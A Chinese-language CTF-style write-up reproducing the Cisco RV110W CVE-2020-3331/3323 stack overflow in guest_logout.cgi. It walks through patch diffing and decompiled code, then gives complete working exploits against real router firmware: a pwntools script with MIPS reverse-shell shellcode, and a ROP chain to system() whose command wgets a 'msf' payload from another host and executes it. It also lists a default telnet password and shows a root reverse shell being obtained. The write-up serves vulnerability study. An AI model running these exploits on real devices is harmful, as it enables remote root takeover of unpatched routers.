思科路由器 RV110W CVE-2020-3331 / CVE-2020-3323 漏洞复现
复现的是思科路由器RV110W CVE-2020-3331 / CVE-2020-3323 漏洞,参考文章
思科路由器 RV110W CVE-2020-3331 / CVE-2020-3323 漏洞复现
在强网杯RealWorld比赛中,IOT题目
2020强网杯决赛Cisco路由器
漏洞介绍
漏洞介绍
CVE编号 | 漏洞详情 |
---|---|
CVE-2020-3331 | Cisco RV110W Wireless-N VPN防火墙和Cisco RV215W Wireless-N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于基于Web的管理界面未正确验证用户提供的输入数据而引起的。攻击者可以通过向特定设备发送精心设计的请求来利用此漏洞。成功的利用可能使攻击者利用root用户的特权执行任意代码。 |
CVE-2020-3330 | Cisco Small Business RV110W Wireless-N VPN防火墙路由器的Telnet服务中的漏洞可能允许未经身份验证的远程攻击者完全控制具有高特权帐户的设备。存在此漏洞是因为系统帐户具有默认的静态密码。攻击者可以通过使用此默认帐户连接到受影响的系统来利用此漏洞。成功利用此漏洞可能使攻击者获得对受影响设备的完全控制。 |
CVE-2020-3323 | Cisco Small Business RV110W,RV130,RV130W和RV215W路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于在基于Web的管理界面中未正确验证用户提供的输入而引起的。攻击者可以通过向目标设备发送特制的HTTP请求来利用此漏洞。成功的利用可能使攻击者能够以root用户身份在受影响设备的基础操作系统上执行任意代码。 |
CVE-2020-3150 | Cisco Small Business RV110W和RV215W系列路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者从设备下载敏感信息,其中可能包括设备配置。该漏洞是由于对HTTP请求的授权不当造成的。攻击者可以通过在路由器的基于Web的管理界面上访问特定的URI来利用此漏洞,但这仅在自上次重新启动以来任何有效用户打开设备上的特定文件之后。成功利用此漏洞将使攻击者可以查看敏感信息,应对此加以限制。 |
CVE-2020-3144 | 思科RV110W无线N VPN防火墙,RV130 VPN路由器,RV130W无线N多功能VPN路由器和RV215W无线N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者绕过身份验证并执行受影响的设备上带有管理命令的任意命令。该漏洞是由于受影响的设备上的会话管理不当引起的。攻击者可以通过向受影响的设备发送特制的HTTP请求来利用此漏洞。成功利用该漏洞可能使攻击者获得受影响设备上的管理访问权限。 |
端口扫描
端口扫描结果,
EXP验证
首先跑一遍EXP
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
io = listen(31337)
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x01\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shellcode
paramsPost = {"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"192.168.1.100"}
def attack():
try: requests.post("https://192.168.1.1/guest_logout.cgi", data=paramsPost, verify=False,timeout=1)
except: pass
thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()
结果如下:
定位漏洞
找到漏洞的步骤主要有以下三种:
- 动态测试
- 静态审计
- 补丁比对
已知存在漏洞的固件版本号是1.5,和最新的固件版本1.8下载下来,用binwalk解压缩后,比较两个版本固件的httpd程序能够快速定位漏洞位置。补丁比对通常用bindiff。这里遇到一个大坑,win 10 环境下用7.2版本IDA和bindiff6进行二进制比对,运算时间特别长,运算了一个下午都没运算出来。最后用老版本的Bindiff 4.2和IDA 6.8才算能正常运行。
比对结果如下图所示:
根据函数名和漏洞信息,漏洞信息透露是在前台操作中存在漏洞,导致未授权恶意用户能够控制机器。猜测漏洞位置在guest_logout_cgi。
打开发现存在1.5版本固件存在危险函数sscanf
漏洞原理
具体分析漏洞原理,从sccanf入手向上跟踪,用ghigra反编译伪代码如下所示:
undefined4 guest_logout_cgi(undefined4 param_1)
{
char cVar1;
bool bVar2;
int iVar3;
char *pcVar4;
size_t sVar5;
FILE *pFVar6;
char *pcVar7;
char *pcVar8;
char *pcVar9;
char *local_c0;
undefined1 *local_bc;
char *local_b8;
char *local_b4;
undefined4 local_b0;
char acStack172 [64];
char acStack108 [68];
iVar3 = get_cgi(&DAT_004819b0);
pcVar4 = (char *)get_cgi(&DAT_004819b0);
sVar5 = strlen(pcVar4);
pcVar8 = (char *)(iVar3 + sVar5 + -1);
pcVar4 = (char *)get_cgi(&DAT_004819b0);
if (pcVar4 < pcVar8) {
do {
cVar1 = *pcVar8;
if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
*pcVar8 = '\0';
pcVar8 = pcVar8 + -1;
pcVar4 = (char *)get_cgi(&DAT_004819b0);
} while (pcVar4 < pcVar8);
}
pcVar4 = (char *)get_cgi(&DAT_004819b0);
iVar3 = get_cgi(&DAT_004819b8);
pcVar8 = (char *)get_cgi(&DAT_004819b8);
sVar5 = strlen(pcVar8);
pcVar9 = (char *)(iVar3 + sVar5 + -1);
pcVar8 = (char *)get_cgi(&DAT_004819b8);
if (pcVar8 < pcVar9) {
do {
cVar1 = *pcVar9;
if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
*pcVar9 = '\0';
pcVar9 = pcVar9 + -1;
pcVar8 = (char *)get_cgi(&DAT_004819b8);
} while (pcVar8 < pcVar9);
}
pcVar8 = (char *)get_cgi(&DAT_004819b8);
pcVar9 = (char *)get_cgi("submit_button");
if (pcVar9 == (char *)0x0) {
pcVar9 = "";
}
if (pcVar4 == (char *)0x0) {
return 0;
}
if (pcVar8 == (char *)0x0) {
return 0;
}
memset(acStack108,0,0x40);
memset(acStack172,0,0x40);
pFVar6 = fopen("/dev/console","w");
if (pFVar6 != (FILE *)0x0) {
fprintf(pFVar6,"\n mac=[%s], ip=[%s], submit_button=[%s]\n",pcVar4,pcVar8,pcVar9);
fclose(pFVar6);
}
iVar3 = VERIFY_MAC_17(pcVar4);
if ((iVar3 == 0) || (iVar3 = VERIFY_IPv4(pcVar8), iVar3 == 0)) {
pFVar6 = fopen("/dev/console","w");
if (pFVar6 == (FILE *)0x0) {
return 0;
}
fprintf(pFVar6,"\n%s(%d) Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]\n",
"guest_logout_cgi",0x1542,pcVar4,pcVar8,pcVar9);
fclose(pFVar6);
return 0;
}
pcVar7 = strstr(pcVar9,"status_guestnet.asp");
if (pcVar7 == (char *)0x0) {
LAB_00431d24:
pcVar7 = (char *)nvram_get("http_client_mac");
if (((pcVar7 == (char *)0x0) || (iVar3 = strcmp(pcVar7,pcVar4), iVar3 == 0)) &&
((pcVar7 = (char *)nvram_get("http_client_ip"), pcVar7 == (char *)0x0 ||
(iVar3 = strcmp(pcVar7,pcVar8), iVar3 == 0)))) {
bVar2 = false;
goto LAB_00431c68;
}
pFVar6 = fopen("/dev/console","w");
if (pFVar6 != (FILE *)0x0) {
fprintf(pFVar6,
"\n%s(%d) Drop session, ip and mac invmatch,mac=[%s], ip=[%s],submit_button=[%s]\n",
"guest_logout_cgi",0x1551,pcVar4,pcVar8,pcVar9);
fclose(pFVar6);
}
}
else {
sscanf(pcVar9,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
pFVar6 = fopen("/dev/console","w");
if (pFVar6 != (FILE *)0x0) {
fprintf(pFVar6,"\n%s(%d),submit_button = [%s] url=[%s],session_id=[%s]\n","guest_logout_cgi",
0x1549,pcVar9,acStack108,acStack172);
fclose(pFVar6);
}
pcVar7 = (char *)nvram_get("session_key");
if (pcVar7 == (char *)0x0) goto LAB_00431d24;
iVar3 = strcmp(pcVar7,acStack172);
bVar2 = true;
if (iVar3 != 0) goto LAB_00431d24;
LAB_00431c68:
syslog(6,"The mac is %s and IP is %s of guest network user logout.",pcVar4,pcVar8);
if ((debug != 0) && (pFVar6 = fopen("/dev/console","w"), pFVar6 != (FILE *)0x0)) {
fprintf(pFVar6,"%s(): \n mac=[%s], ip=[%s],submit_button=[%s]\n","guest_logout_cgi",pcVar4,
pcVar8,pcVar9);
fclose(pFVar6);
}
local_c0 = "/sbin/cron_gn";
local_bc = &DAT_00485fe4;
local_b0 = 0;
local_b8 = pcVar4;
local_b4 = pcVar8;
_eval(&local_c0,">/dev/console",0,0);
if ((bVar2) && (iVar3 = strcmp(acStack108,"status_guestnet.asp"), iVar3 == 0))
goto LAB_00431de8;
}
iVar3 = strcmp(pcVar9,"login_guest.asp");
if (iVar3 != 0) {
return 0;
}
LAB_00431de8:
sVar5 = strlen(acStack108);
if (sVar5 < 6) {
do_ej(pcVar9,param_1);
}
else {
do_ej(acStack108,param_1);
}
return 0;
}
关键代码如下所示:
pcVar4 = (char *)get_cgi(&DAT_004819b0);
pcVar8 = (char *)get_cgi(&DAT_004819b8);
pcVar9 = (char *)get_cgi("submit_button");
pFVar6 = fopen("/dev/console","w");
if (pFVar6 != (FILE *)0x0) {
fprintf(pFVar6,"\n mac=[%s], ip=[%s], submit_button=[%s]\n",pcVar4,pcVar8,pcVar9);
fclose(pFVar6);
}
memset(acStack108,0,0x40);
memset(acStack172,0,0x40);
pcVar7 = strstr(pcVar9,"status_guestnet.asp");
if (pcVar7 != (char *)0x0)
{
sscanf(pcVar9,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
}
便来用pcVar9得到的值在向acStack108,acStack172进行传递时,由于未对其大小进行验证,导致缓冲区溢出。
下面的问题是搞清楚如何提交其参数。
对于pcVar4和pcVar8,在&DAT_004819b0和&DAT_004819b8位置单击右键,识别为字符串结果如下图所示:
显然,pcVar4和pcVar8
pcVar4 = (char *)get_cgi(&DAT_004819b0);
pcVar8 = (char *)get_cgi(&DAT_004819b8);
在网上搜索guest_logout.cgi,发现这是该设备的很多历史漏洞和该cgi有关,例如C VE-2018-0423、CVE-2018-0424、CVE-2018-0425、CVE-2018-0426[漏洞预警 | 思科产品曝多个高危安全漏洞(附详细技术分析)](https://www.anquanke.com/post/id/159183)以及CVE-2019-1897 、CVE-2019-1898、CVE-2019-1899
对于CVE-2019-1897 的应用示例如下所示:
curl -vv -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=10.0.1.100&cmac=10:08:B1:A0:82:29a" -H "Content-Type: application/x-www-form-urlencoded" -X POST http://10.0.0.1/guest_logout.cgi
因此可以判断利用post提交噢submit_buttom参数,此外还需要cip和cmac参数,而且需符合格式要求才能使程序运行到sccanf函数段。
另外需要特别说明一下“%[^;];%*[^=]=%[^\n]”
的含义,它是一种正则表达式,%[^;]:
分号前的所有字符都要,;%*[^=]:
分号后,等号前的字符都不要。
=%[^\n]:
等号后,换行符前的所有字符都要是取 ;
前和=
后的值,例如如果传递的值是aaa;bbb=ccc
,那么acStack108是aaa
,acStack172是ccc
漏洞利用
明显栈溢出漏洞,利用思路就很简单:
搭建调试环境=>确定偏移量=>写入shellcode=>跳转到shellcode=>执行shellcode
1.上传gdbserver,搭建调试环境
H4LO上传的编译好的 mips32位静态编译调试程序/gdbserver,首先通过python在本机上建立简单的web
$ python -m SimpleHTTPServe
之后通过telnet连接路由器,用户名是admin,密码是Admin123:
$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
RV110W login: admin
Password:
BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
切换到tmp路径下,
# wget http://192.168.1.123:8000/gdbserver
Connecting to 192.168.1.123:8000 (192.168.1.123:8000)
gdbserver 100% |*******************************| 1011k 00:00:00 ETA
同时看到本地termial显示gdbserver顺利上传过去
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.1.1 - - [28/Feb/2021 23:49:32] "GET /gdbserver HTTP/1.1" 200 -
同样的方法也可以把编译好的busybox上传上去,通过命令可查看httpd对应的pid号。
$ ./busybox-mipsel netstat -pantu | grep 443
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 356/httpd
tcp 0 0 :::443 :::* LISTEN 356/httpd
之后在路由器用gdbserver attach上httpd对应进程即可调试:
$ chmod +x ./gdbserver
$ ./gdbserver :1234 --attach 356
之后在本地通过gdb远程调试
$ gdb-muliarch ./httpd
pwndbg> set architecture mips
pwndbg> set endian little
pwndbg> target remote 192.168.1.1:1234
pwndbg> c
至此,调试环境搭建完成。
2. 确定偏移量
利用request和pwntools发送post畸形包:
import requests
from pwn import *
url = "https://192.168.1.1/guest_logout.cgi"
b = cyclic(100)
print b
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(100),"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)
发送过后httpd崩溃,检测到溢出:
Program received signal SIGSEGV, Segmentation fault.
0x77616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x4d81f2 (post_buf+66) ◂— 0x75746174 ('tatu')
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0x70
A3 0x50c160 ◂— 0x0
T0 0x50c108 ◂— 0x402409ef
T1 0x50c108 ◂— 0x402409ef
T2 0x19
T3 0xfffffff0
T4 0x61617361 ('asaa')
T5 0x2b030004 (__ctype_b) —▸ 0x2afeabc0 (__C_ctype_b_data+256) ◂— 0x2000200
T6 0xca5fb1e
T7 0x61617461 ('ataa')
T8 0x3
T9 0x2afc64d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x6e616161 ('aaan')
S1 0x6f616161 ('aaao')
S2 0x70616161 ('aaap')
S3 0x71616161 ('aaaq')
S4 0x72616161 ('aaar')
S5 0x73616161 ('aaas')
S6 0x74616161 ('aaat')
S7 0x75616161 ('aaau')
S8 0x76616161 ('aaav')
FP 0x7fd38458 ◂— 'aaaxaaayaaa'
SP 0x7fd38458 ◂— 'aaaxaaayaaa'
PC 0x77616161 ('aaaw')
───────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────
Invalid address 0x77616161
通过cyclic -l "string"
确定偏移量。
pwndbg> cyclic -l "aaaw"
85
偏移量是85,之所以不是偶数是以为还要算上status_guestnet.asp
,修改程序在验证一下:
import requests
from pwn import *
url = "https://192.168.1.1/guest_logout.cgi"
b = cyclic(100)
print b
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(85)+p32(0xdeadbeaf),"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)
之后程序崩溃现场如下:
xdeadbeaf in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x4d81f2 (post_buf+66) ◂— 0x75746174 ('tatu')
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0xb0
A3 0x4f92a8 ◂— 0x0
T0 0x4f9250 ◂— 0xe9d5c2b0
T1 0x4f9250 ◂— 0xe9d5c2b0
T2 0x59
T3 0xfffffff0
T4 0x61617361 ('asaa')
T5 0x2b030004 (__ctype_b) —▸ 0x2afeabc0 (__C_ctype_b_data+256) ◂— 0x2000200
T6 0xca5fb1e
T7 0x61617461 ('ataa')
T8 0x2
T9 0x2afc64d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x6e616161 ('aaan')
S1 0x6f616161 ('aaao')
S2 0x70616161 ('aaap')
S3 0x71616161 ('aaaq')
S4 0x72616161 ('aaar')
S5 0x73616161 ('aaas')
S6 0x74616161 ('aaat')
S7 0x75616161 ('aaau')
S8 0x76616161 ('aaav')
FP 0x7fdf1408 —▸ 0x4fa200 ◂— 0x0
SP 0x7fdf1408 —▸ 0x4fa200 ◂— 0x0
PC 0xdeadbeaf
───────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────
Invalid address 0xdeadbeaf
3. 另一种EXP: ROP到system(cmd)
除了一开始列举的poc,执行shellcode回连shell以外,也可以通过调用system(cmd)的方法达成利用
利用telnet连接路由器,用户名wget:
$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
RV110W login: admin
Password:
BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
上传静态编译的busybox和gdbserver。
libc地址以固定的。
cmd放在栈上,直接用system(cmd)
下载木马,执行回连shell
利用ida插件mipsrop查找libc的可用rop。
第一步是导入mipsrop
python > import mipsrop
python > mipsrop = mipsrop.MIPSROPfinder()
之后,运行mipsrop.stackfinder
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000BA84 | addiu $a1,$sp,0x158+var_A0 | jalr $s0 |
| 0x00011918 | addiu $a2,$sp,0x68+var_40 | jalr $s1 |
| 0x000250A8 | addiu $s0,$sp,0x278+var_250 | jalr $fp |
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 |
| 0x00025CAC | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002747C | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002CC00 | addiu $a0,$sp,0x38+var_10 | jalr $s0 |
思路是劫持httpd进程到system(cmd)
,通过0x257A0
和0x25CAC
的gadget可以劫持s0/s3到system函数对应地址,将距离栈顶0x38-0x20=0x18的cmd传递给a0
text:000257A0 addiu $a0, $sp, 0x38+var_20
.text:000257A4 move $t9, $s0
.text:000257A8 jalr $t9
完成exp如下所示:
import requests
from pwn import *
url = "https://192.168.1.1/guest_logout.cgi"
libc_base = 0x2af98000
move_a0_s2_jalr_s1 = 0x0040bb14
jmp_s0 = libc_base + 0x00025cac#A0
system = libc_base +0x0004C7E0
cmd = b"cd /tmp &&\
wget http://192.168.1.100:8000/msf && \
chmod +x ./msf && \
./msf"
# cmd ="echo 1111"
print(hex(jmp_s0))
payload_0 = b"status_guestnet.asp"+cyclic(49)+p32(system)+cyclic(8)+p32(system)+cyclic(0x20-12)+p32(jmp_s0)+0x18*b'a'+cmd
payload = {"cmac":b"12:af:aa:bb:cc:dd","submit_button":payload_0,"cip":b"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)
在gdb下断点在jmp_s3
对应地址,看到此时s3寄存器为system函数地址,而a0寄存器是放在栈上的对应cmd
cmd执行的操作是下载恶意文件。赋予可执行权限后执行,得到回连shell
gef➤ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x2afa7c64 in wait4 () from target:/lib/libc.so.0
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$zero: 0x200
$at : 0x11009c00
$v0 : 0x200
$v1 : 0x2b038530
$a0 : 0xeee
$a1 : 0x7fa0a3e0 → 0x2afe47e0 → lui gp, 0x5
$a2 : 0x0
$a3 : 0x1
$t0 : 0x0050beb0 → 0x00000000
$t1 : 0x0050beb0 → 0x00000000
$t2 : 0x69
$t3 : 0xfffffff0
$t4 : 0x20202020 (" "?)
$t5 : 0x2b030004 → 0x2afeabc0 → 0x02000200
$t6 : 0x20202020 (" "?)
$t7 : 0x6d686320 (" chm"?)
$s0 : 0xeee
$s1 : 0x2afe1280 → lui gp, 0x5
$s2 : 0x0
$s3 : 0x0
$s4 : 0x0
$s5 : 0x7fa0a420 → "cd /tmp && wget http://192.168.1.100:8000/msf &[...]"
$s6 : 0x61616163 ("caaa"?)
$s7 : 0x61616164 ("daaa"?)
$t8 : 0x2
$t9 : 0x2afa7c40 → lui gp, 0x9
$k0 : 0x0
$k1 : 0x0
$s8 : 0x61616165 ("eaaa"?)
s8 : 0x61616165 ("eaaa"?)
$pc : 0x2afa7c64 → beqz a3, 0x2afa7c84
$sp : 0x7fa0a3a0 → 0x00000000
$hi : 0x5
$lo : 0x0
$fir : 0x0
$ra : 0x2afe49a0 → 0x00401821 → 0x00004d6f ("oM"?)
$gp : 0x2b038530
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7fa0a3a0│+0x0000: 0x00000000 ← $sp
0x7fa0a3a4│+0x0004: 0x00000000
0x7fa0a3a8│+0x0008: 0x00000000
0x7fa0a3ac│+0x000c: 0x00000000
0x7fa0a3b0│+0x0010: 0x2b038530
0x7fa0a3b4│+0x0014: 0x63616161
0x7fa0a3b8│+0x0018: 0x00000eee
0x7fa0a3bc│+0x001c: 0x2afe49a0 → 0x00401821 → 0x00004d6f ("oM"?)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:mips:MIPS32 ────
0x2afa7c58 sw gp, 16(sp)
0x2afa7c5c li v0, 4114
0x2afa7c60 syscall
查看tmp文件夹下的文件:
# ls
action dnsmasq.conf lld2d.conf startup.cfg
bcmupnp.pid email.conf media udhcpc
bonj.conf gdbserver msf udhcpc.expires
busybox-mips group passwd udhcpd-br0.conf
busybox-mipsel inter_route qos udhcpd-br0.leases
cert.pem ipsec_https_ipt quickvpn var
config.txt ipsec_secrets shadow www
cron.d key.pem snmpd.conf
可以看到恶意文件msf存在,证明成功劫持httpd到system(cmd)
上。
在本地192.168.1.1
开启监听端口4444,并python -m http.server
构建一个简单的httpserver,供目标远程下载木马
>nc -vlp 4444
listening on [any] 4444 ...
192.168.1.1: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.1] 54566: NO_DATA
ls
action
bcmupnp.pid
bonj.conf
busybox-mips
busybox-mipsel
cert.pem
config.txt
cron.d
dnsmasq.conf
email.conf
gdbserver
group
inter_route
ipsec_https_ipt
ipsec_secrets
key.pem
lld2d.conf
media
msf
passwd
qos
quickvpn
shadow
snmpd.conf
startup.cfg
udhcpc
udhcpc.expires
udhcpd-br0.conf
udhcpd-br0.leases
var
www
id
uid=0(admin) gid=0(admin)
成功获取反弹shell